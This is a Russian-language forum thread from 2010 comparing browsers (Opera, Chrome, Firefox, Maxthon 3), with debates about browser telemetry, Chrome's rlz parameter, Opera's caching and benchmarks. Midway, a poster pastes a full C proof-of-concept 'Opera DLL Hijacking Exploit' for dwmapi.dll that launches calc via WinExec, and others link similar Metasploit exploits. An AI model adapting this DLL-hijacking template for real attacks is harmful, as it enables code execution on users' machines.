» Браузерные войны: 2010 (Windows) [4]

Ronin666
Очередное веселье в оперной ветке ))

Цитата:

Не понял, мы пишем о установке браузеров впервые или обновляем версии?
У меня, например, есть бекапы и Оперы, и Лисы.

у меня если ставить начисто - день уходит на перенос , надо учитывать что и пароли по новой теперь вводить ( старый ванд дат чем-то стал несовместим), резервировать почту и новости - часа на три. проверка скриптов и меню на работоспособность. проверка плагинов на работоспособность. и потом все -равно что-то находишь недопиленным. с другими браузерами проще - не так обвешаны и используются реже. на IE - робоформ , панель орбит да ие7про, на фокс побольше - но постоянно что-то недотягивает до комфорта плюс с каждым новым дополнением - новые тормоза и чудеса. а главное - ну не люблю я профиль вне папки программу, на старых (до единички) как-то правил - она была там где надо, а сейчас уже не так просто - значит переносить её - больший гимор . У хрома расширения чисто символические, но тут - о чудо - почти и так все есть.. а стучит - так я не шпион - если спросили - сам бы все рассказал.

Цитата:

Maxthon 3 релизнулся, но без поддержки плагинов, без Сборщика заметок и кучи другого функционала. Обещают все сделать в перспективе - подробнее о том, что есть

Это нормально для релиза?

ilyaor

Цитата:

а стучит - так я не шпион - если спросили - сам бы все рассказал.

Придет время, обязательно спросят ).

IOpt
16:38 27-08-2010
Цитата:

Опера +1

Опера сейчас тоже стучит хозяевам. Link, Unite, Turbo, антифишинг, геолокация... что там еще забыл... Все в настройках отрубать надо...

Цитата:

Опера сейчас тоже стучит хозяевам.

остается еще свои пароли у них хранить и ключи от сейфа, где деньги лежат =) Про ОпераЛинк - вроде бы удобно должно быть - так они еще в мои же закладки гадят и не все синхронизируют . Фича на полчаса побаловаться - я так понял - им большего и не надо - стащили ссылки - понапихали в ответ свои и чао-какао =)

как-то однажды я в известные сентябрьские дни , когда американцев небоскреб завалили , создал один ящик на майл ру своему знакомому и черт побери - захотел он себе ник " мухамед" . шлет письма - а они не доходят - мне позвонил - прихожу - проверяю - отправил себе на ящик - нет письма. плюнули и завели новый с нейтральным ником.. а вот подозрения в душе остались - это что же за баг такой был , ась ?

NAATH

Цитата:

попугайчики

Смотря в каких джунглях.

WatsonRus <<
Цитата:

Maxthon 3 … Это нормально для релиза?

Есть заметка от автора. То есть это релиз первой версии. В ней - переключение движков плюс базовые функции. Вот резак реальный сделали, что Хрому до сих пор не удавалось (правда пока без глобальных правил). Адресная строка довольно хорошая, получше, чем в М2. Хотя ещё допиливать и допиливать.

YuraH
Ну Макстон 3 и есть Хром, только замаскированный под китайский продукт с целью проникновения на вражескую территорию и дополнительно снабженный возможностью перезагружать страницу в Trident-е при своем любимом действии "Oops!"

0A
Хм, у меня Макстон 3 определился как "Неизвестный Safari"
WatsonRus
А в Огнелисе, Опере, Хроме есть сборщик заметок?

0A
Цитата:

Смотря в каких джунглях.

Надеюсь все эти браузеры установлены и протестированы с одного компа?

>> Надеюсь все эти браузеры установлены и протестированы с одного компа?
да.

Какая прелесть http://www.youtube.com/watch?v=O_bX0I9hF1s

______________________________________________
/*
Exploit Title: Opera DLL Hijacking Exploit ( dwmapi.dll )
Date: 24/08/2010
Author: Nicolas Krassas
http://twitter.com/Dinosn
Version: Opera 10.61
Tested on: Windows XP SP3
The code is based on the exploit from "TheLeader"
Vulnerable extensions: .htm .mht .mhtml .xht .xhtm .xhtl
dwmapi.dll is used in other applications too
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void DwmDefWindowProc() { evil(); }
DLLIMPORT void DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void DwmEnableComposition() { evil(); }
DLLIMPORT void DwmEnableMMCSS() { evil(); }
DLLIMPORT void DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void DwmGetColorizationColor() { evil(); }
DLLIMPORT void DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void DwmGetWindowAttribute() { evil(); }
DLLIMPORT void DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void DwmRegisterThumbnail() { evil(); }
DLLIMPORT void DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void DwmSetPresentParameters() { evil(); }
DLLIMPORT void DwmSetWindowAttribute() { evil(); }
DLLIMPORT void DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
WinExec("calc", 0);
exit(0);
return 0;
}

используйте на здоровье. Подходит для любой версии Оперы, даже с прошлого века.

Metasploit DLL Hijacking Exploit - Firefox
Chrome "blended threat" exploit demo (Chrome auto-download + UI race condition + DLL load hijacking)
там же

Цитата:

используйте на здоровье. Подходит для любой версии Оперы, даже с прошлого века.

Вот незадача-то - dwmapi.dll на компе сАвсЭм отсутствует... как же бедный эксплойт
фунциклировать-то буит...

Для чего вообще этот "Microsoft Desktop Window Manager API" нужон? Кстати, этот эксплойт еще раз подтверждает, что главная дыра на компе это не браузер, а сама Винда.

WatsonRus
%Windir%\System32\dwmapi.dll (на Win XP его нет).

Цитата:

Кстати, этот эксплойт еще раз подтверждает, что главная дыра на компе это не браузер, а сама Винда.

Почему вы ещё на Win, а не на Linux?

Цитата:

Почему вы ещё на Win, а не на Linux?

Потому что *nix это сплошной гемор, и, самое главное, многого специализированного софта под *nix не найти, а под wine не все пашет (особенно созданное доблестными программерами от налоговой, ПФР и прочих фондов).

Цитата:

Потому что *nix это сплошной гемор, и,

И в итоге "мыши кололись, плакали но продолжали грызть кактус" (с)

NeliyZar
19:17 28-08-2010
Цитата:

И в итоге "мыши кололись, плакали но продолжали грызть кактус" (с)

Почему? Меня все устраивает. А на *nix-ы я буду сто лет переучиваться. Портированные из *nix проги явно показывают, что там все через ж... А я не собираюсь просиживать целыми днями перед компом ради неудобной, но безопасной, ОСи.

Вообще-то, Хромиум "стучал" без малого пару месяцев. Только вот толков-то от такого "стука"? RLZ - это региональная информация о пользователе и информация о том, откуда был скачан Хром. Хромиум можно скачать откуда угодно, ну а региональная информация передается и так: Accept-Language: ru, en.
Google Suggest "стучит" в Гугл, хоть при наборе запроса на google.com, хоть при наборе в строке браузера. Надо, чтобы не стучал? Ну, поисковых провайдеров у меня в Хромиуме штук 25 разных.
Ой, скачиваются списки malware сайтов? Страсти какие. Можно подумать, Firefox и IE так не делают.
Иными словами: по сути, если человек пользовался сервисом Google, для него ровным счетом ничего не изменилось. Разве что кроме того, что Google знает, с какого сайта он скачал Google Chrome.
Кому интересно - ну, реально можно взять charles, fiddler или wireshark (в порядке возрастания "сложности") и посмотреть, что куда шлет Хром. Еще можно увидеть что-то "подозрительное", и написать про это в сети: "Google is evil". Прежде чем кто-то понимающий это опровергнет, миллион хомячков переведет эти бредни на десятки языков и перепечатает у себя.

Честно говоря, не пойму, что плохого в том, что гугл знает мои предпочтения... Мне интересно программирование, архитектура ПО и дешевые dedicated серверы. Гугл мне и показывает контекстную рекламу по этим вопросам. Я считаю, это гораздо лучше, чем "Сколько у тебя IQ" или "Когда ты умрешь?". А еще у меня например есть дисконтная карточка из аптеки напротив и да, руководство аптеки может сделать выводы о моих заболеваниях и заболеваниях моих домочадцев по лекарствам, которые я у них покупаю - но я с этого кирпичами не сру .

В голосовании проголосовал за Chrome, хотя пользуюсь Chromium (прошел долгий путь: IE 3 => IE 4 => Netscape 6 => Opera 3 => Opera 5 => Opera 6 => Opera 7 => Firefox => Opera 8.5 => Firefox 2 => Firefox 3 => Google Chrome => Chromium).
Т.к. иногда занимаюсь веб-разработками, просто не понимаю особенности Opera игнорировать Мои с большой буквы указания. Я - администратор сайта - бог и царь для браузера, браузер должен следовать моим указаниям, а не тому, что ему говорят программисты.

Итак: Opera не обновляет CSS файлы (до тех пор, пока их не откроешь в отдельной вкладке и не нажмешь F5), Opera не обновляет элементы дизайна (до тех пор, пока не нажмешь F5), относительно JavaScript не понял "политику партии". Опера кэширует ответ "хост не найден", даже если ответ был возвращен по ошибке или в результате передоменивания.

Opera Unite, к сожалению, работал не так, как хотелось бы (ко мне, находящемуся за NAT, невозможны были подключения извне. Ну, в смысле, как в P2P сетях: пир1 говорит серверу "хочу подконектиться к пиру2", пир2 получает эту информацию с сервера и коннектится к пиру1 сам).

Сто тысяч открытых одновременно вкладок - это бардак, от которого я, слава богу, вылечился.

Balkin
Цитата:

Opera не обновляет CSS файлы

Одна из причин, почему меня задолбала Опера,
а тут подвернулся Firefox 4, который не хуже по функциональности.

Balkin

Цитата:

Честно говоря, не пойму, что плохого в том, что гугл знает мои предпочтения...
А еще у меня например есть дисконтная карточка из аптеки напротив и да, руководство аптеки может сделать выводы о моих заболеваниях и заболеваниях моих домочадцев по лекарствам, которые я у них покупаю - но я с этого кирпичами не сру.

Ну вашу карточку из аптеки вы ведь нигде кроме этой аптеки не используете.
А с Гуглем ситуация другая - пользуясь Хромом получается, что инфа о ваших заболеваниях уходит в вашу страховую компанию, инфа об объёме выпитого вами в кабаке - вашему работодателю, а график посещения вами борделя - вашей жене.

xChe

Цитата:

инфа о ваших заболеваниях уходит в вашу страховую компанию, инфа об объёме выпитого вами в кабаке - вашему работодателю, а график посещения вами борделя - вашей жене.

Ну, просто это, на минуточку, лишь домыслы. Вот открываю я, например, Charles. И что я вижу? Я вижу 4 обращения от себя на clients1.google.com, обращение на id.google.ru (невидимый пиксель в тексте результатов поиска), в строке поиска присутствует нетрадиционный параметр rlz=1C1GGLS_ruRU364RU365 (да, я не боюсь его вам говорить, не боюсь и гуглу сказать), обращение на google.ru/csi, одно не всегда случающееся обращение на https://www.google.com/.
Делаю то же самое в Хромиуме (предыдущие результаты - от Хрома):
Нет параметра rlz=, нет обращений на https://www.google.com/.
Открываю IE, захожу на google.ru: загружается еще куча элементов дизайна, а так - результаты те же, что и у Хромиума.
Да, конечно, можно допустить, что Хром и Хромиум сливают данные с некоторой периодичностью, в случайное время (как это, по слухам, делает MSIE с Suggested Sites)

Теперь о "борделях". У меня есть Google Mail, и обычно у меня осуществлен вход в мой Google Account, когда я пользуюсь поиском. Вот эта связка - дает Гуглу про меня в десятки раз больше информации, чем установленный браузер их производства. По-моему, так . Ну, а если некий сферический пользователь в вакууме не пользуется ни Google Search, ни Google Accounts, но при этом пользуется Google Chrome - честно говоря, просто не представляю, что из этого можно выжать "корпорации зла" Я, кстати, корпорацией зла доволен - ее реклама меня не обременяет: она релевантна моим интересам, которые гугл уже успел изучить.

Но - само собой, личное дело каждого.

0A
Цитата:

>> Надеюсь все эти браузеры установлены и протестированы с одного компа?
да.

Просто как-то неправдоподобно выглядит слив Оперы Хрому практически в 100% Или Вы в Опере открыли 100 вкладок в Хроме одну

Lexua

Цитата:

Просто как-то неправдоподобно выглядит слив Оперы Хрому практически в 100% Или Вы в Опере открыли 100 вкладок в Хроме одну

Кстати, мои данные тоже сильно разнятся с указанным графиком: В Пискипере у меня седьмой Хромиум уступает в скорости 10.6 Опере - та набивает около 7500 попугаев, Хромиум около 7200, Хром около 6900. Если посмотреть детали, Опера рвет Хрома в хвост и в гриву при работе с графикой (у меня ноутбучная видюха от NVidia, M100счем-то), однако уступает последнему в скорости обработки данных (фейковое приложение "социальная сеть"). Причем эти отличия я вижу даже БЕЗ бенчмарка, невооруженным глазом. Аналогично - вижу, что gmail в Опере тормозит.
И да, это обычный недорогой ноут, купленный в прошлом году за 20к.

Цитата:

Opera не обновляет CSS файлы (до тех пор, пока их не откроешь в отдельной вкладке и не нажмешь F5), Opera не обновляет элементы дизайна (до тех пор, пока не нажмешь F5)

Это в новых версиях так стало? Ибо у меня все Ок (точнее, на всех браузерах одинаково - если на сайте не подгружается CSS, то во всех браузерах). А с "дизайном" вообще не видел такого - если показ картинок включен, подгружается все, если "из кэша" - то соответственно, все, что есть в кэше.

amr_now

Цитата:

тут подвернулся Firefox 4, который не хуже по функциональности

Не хуже по функциональности, но не по удобству. Это вещи разные.

Balkin

Цитата:

ее реклама меня не обременяет

Меня обременяет любая реклама, поэтому режу ее всеми доступными способами. Хром хорош, если используются сервисы Гугла - тогда действительно все равно, стучит Хром или нет - Гугл уже все собрал через сервисы. Но если не пользоваться гуглодерьмом, то стук Хрома уже что-то значит. Важен еще и объем стука. У Хрома он зашкаливает, недаром народ так всполошился. rlz - ИМХО только вершина айсберга.

А стучат по умолчанию и новые версии Оперы. Отключать приходится с каждой версией все больше и больше. Link, Unite, Turbo, антифишинг, геолокация...

Пожалуй, сейчас единственный не стучащий по умолчанию браузер - Фокс. Хотя вот в Орке уже имеется синхронизация с онлайн-хранилищем закладок, RSS и автозаполнения. Ну что Орка - Авант в ней из всех дырок прет...

WatsonRus
Цитата:

Не хуже по функциональности, но не по удобству. Это вещи разные.

Да завязывайте уже, а то люди не все понимают, что когда вы про Оперу, то про ту Оперу, которой нет уже.
Ватсон, нет той Оперы. Как не печально, но 10.61 - 10.70 актуально.
ЗЫ. а мне вот не удобно в Опере, и какой вывод глобальный?

Цитата:

Меня обременяет любая реклама,

иная реклама информацию несёт, об этом вроде речь шла. Если человеку нужна инфа, и Гугель её даёт, почему нет? Ему же не sex с онлайн камер впаривают.
_________________
Кстати насчёт дискуссии в ветке "быстрее самого быстрого" насчёт картинок из кеша, ну неужели это удобство какое-то - не просто серфить по Сети, а решать на каждом сайте - откуда картинки эти злосчастные подгружать, из кеша, или не из кеша, подгружать ли вообще, и какие именно картинки подгружать. А тут глюки ещё, пипец в общем. И потом, как вы правильно заметили, нет препятствий реализовать это в Fx, однако ImgLikeOpera именно наше (Danil Ivanov), и используется здесь как и Опера. Вывод: никому это "удобство" не надо.

Цитата:

Вывод: никому это "удобство" не надо

Больным на голову - очень даже нужно.

x25
Цитата:

Больным на голову

ну Ватсон, он же какбэ доктор.

OFFEND
18:06 29-08-2010
Цитата:

неужели это удобство какое-то - не просто серфить по Сети, а решать на каждом сайте - откуда картинки эти злосчастные подгружать, из кеша, или не из кеша, подгружать ли вообще, и какие именно картинки подгружать

Как пример этот топик с большими картинками (ибо кое-кому видимо превью неизвестны) от известного товарища (я имею в виду ситуацию до включения игнор-листа). Мне этот мусор нафиг не нужен. В Фоксе (без ImgLikeOpera) я поставлен перед выбором - не видеть все картинки, в т.ч. тесты, аватары, смайлы и пр. или видеть вместе с оформлением все эти художества. А с ImgLikeOpera я получаю геморрой в виде практически неработающего AdBlock Plus (ибо он не вырезает рекламу при включенной опции "Показывать только из кэша" - места от баннеров остаются на месте, но сами баннеры, естественно не грузятся).
Даже в Хамелеоне настройки для проверки в кэше разного контента сделаны нативно, хотя это отнюдь не отечественный продукт.

Цитата:

иная реклама информацию несёт

Ни разу такой информации не встречал.

OFFEND <<
Цитата:

насчёт картинок из кеша, ну неужели это удобство какое-то - не просто серфить по Сети, а решать на каждом сайте - откуда картинки эти злосчастные подгружать, из кеша, или не из кеша

Так вроде тут кому-то уже несколько веток картинки не нравятся, выкладываемые сами-знаете-кем? У меня же режимом "только из кэша" занимается НС - и я ни одной его картинки не видел. Хотя если нравятся кактусы - то пожалуйста.

Добавлено:
WatsonRus
Синхронно